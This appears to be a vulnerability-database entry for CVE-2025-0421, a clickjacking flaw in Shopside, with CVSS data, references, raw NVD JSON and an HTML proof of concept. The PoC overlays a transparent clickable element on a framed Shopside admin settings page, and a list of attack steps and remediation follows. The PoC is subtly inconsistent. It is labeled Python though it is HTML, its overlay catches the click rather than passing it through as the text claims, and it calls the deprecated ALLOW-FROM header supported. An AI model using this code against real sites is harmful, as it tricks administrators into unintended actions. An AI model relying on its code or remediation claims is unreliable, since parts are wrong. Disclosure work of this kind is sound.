CVE-2025-0421

Description

Improper Restriction of Rendered UI Layers or Frames vulnerability in Shopside Software Technologies Inc. Shopside allows iFrame Overlay.This issue affects Shopside: through 05022025.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Shopside (Shopside Software Technologies Inc.) through 05022025

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-0421 PoC: Shopside iFrame Overlay/Clickjacking -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-0421 PoC - Shopside Clickjacking</title>
    <style>
        body {
            margin: 0;
            padding: 20px;
            font-family: Arial, sans-serif;
            background: #f0f0f0;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
        }
        h1 {
            color: #d9534f;
        }
        .disclaimer {
            background: #fff3cd;
            border: 1px solid #ffc107;
            padding: 15px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        /* Invisible overlay covering the iframe */
        .clickjacking-overlay {
            position: absolute;
            top: 200px;
            left: 100px;
            width: 200px;
            height: 50px;
            background: transparent;
            cursor: pointer;
            z-index: 999999;
            /* Hidden malicious button */
        }
        .malicious-btn {
            position: absolute;
            top: 200px;
            left: 100px;
            width: 200px;
            height: 50px;
            background: rgba(255, 255, 255, 0.01);
            border: 2px dashed red;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 14px;
            z-index: 1000000;
            pointer-events: none;
        }
        /* iframe container */
        .iframe-container {
            position: relative;
            width: 100%;
            height: 600px;
            border: 2px solid #333;
            background: white;
        }
        iframe {
            width: 100%;
            height: 100%;
            border: none;
        }
        .exploit-note {
            margin-top: 20px;
            padding: 15px;
            background: #d4edda;
            border: 1px solid #28a745;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>CVE-2025-0421 PoC</h1>
        <div class="disclaimer">
            <strong>⚠️ Warning:</strong> This is a security research PoC for educational purposes only.
            Do not use this code for malicious purposes.
        </div>
        
        <p><strong>Target:</strong> Shopside by Shopside Software Technologies Inc.</p>
        <p><strong>Vulnerability:</strong> Improper Restriction of Rendered UI Layers or Frames (iFrame Overlay)</p>
        <p><strong>CVSS:</strong> 4.7 (Medium)</p>
        
        <p>The page below demonstrates a clickjacking attack where an invisible overlay
        is placed over the Shopside iframe to hijack user clicks.</p>
        
        <div class="iframe-container">
            <!-- Replace with actual vulnerable Shopside URL -->
            <iframe src="http://target-shopside-site.com/admin/settings" 
                    sandbox="allow-same-origin allow-scripts allow-forms">
            </iframe>
            
            <!-- Invisible overlay button - user thinks they're clicking this -->
            <div class="clickjacking-overlay" onclick="alert('Click hijacked! CVE-2025-0421')">
            </div>
            
            <!-- Visual indicator (for demo purposes) -->
            <div class="malicious-btn">Hidden Click Target</div>
        </div>
        
        <div class="exploit-note">
            <h3>Attack Explanation:</h3>
            <ol>
                <li>Attacker embeds vulnerable Shopside page in iframe</li>
                <li>Invisible overlay is positioned over sensitive UI elements</li>
                <li>User clicks overlay thinking it's a legitimate button</li>
                <li>Click passes through to underlying Shopside page</li>
                <li>Attacker can trigger unintended actions (CSRF-like attacks)</li>
            </ol>
            
            <h3>Remediation:</h3>
            <ul>
                <li>Set X-Frame-Options: DENY or SAMEORIGIN</li>
                <li>Implement Content-Security-Policy with frame-ancestors directive</li>
                <li>Use X-Frame-Options: ALLOW-FROM (deprecated but supported)</li>
            </ul>
        </div>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-0421
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-0421
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-0421/
[4] VulDB https://vuldb.com/cve/CVE-2025-0421
[5] https://www.usom.gov.tr/bildirim/tr-25-0402

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-0421", "sourceIdentifier": "[email protected]", "published": "2025-11-19T14:15:57.943", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Rendered UI Layers or Frames vulnerability in Shopside Software Technologies Inc. Shopside allows iFrame Overlay.This issue affects Shopside: through 05022025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0402", "source": "[email protected]"}]}}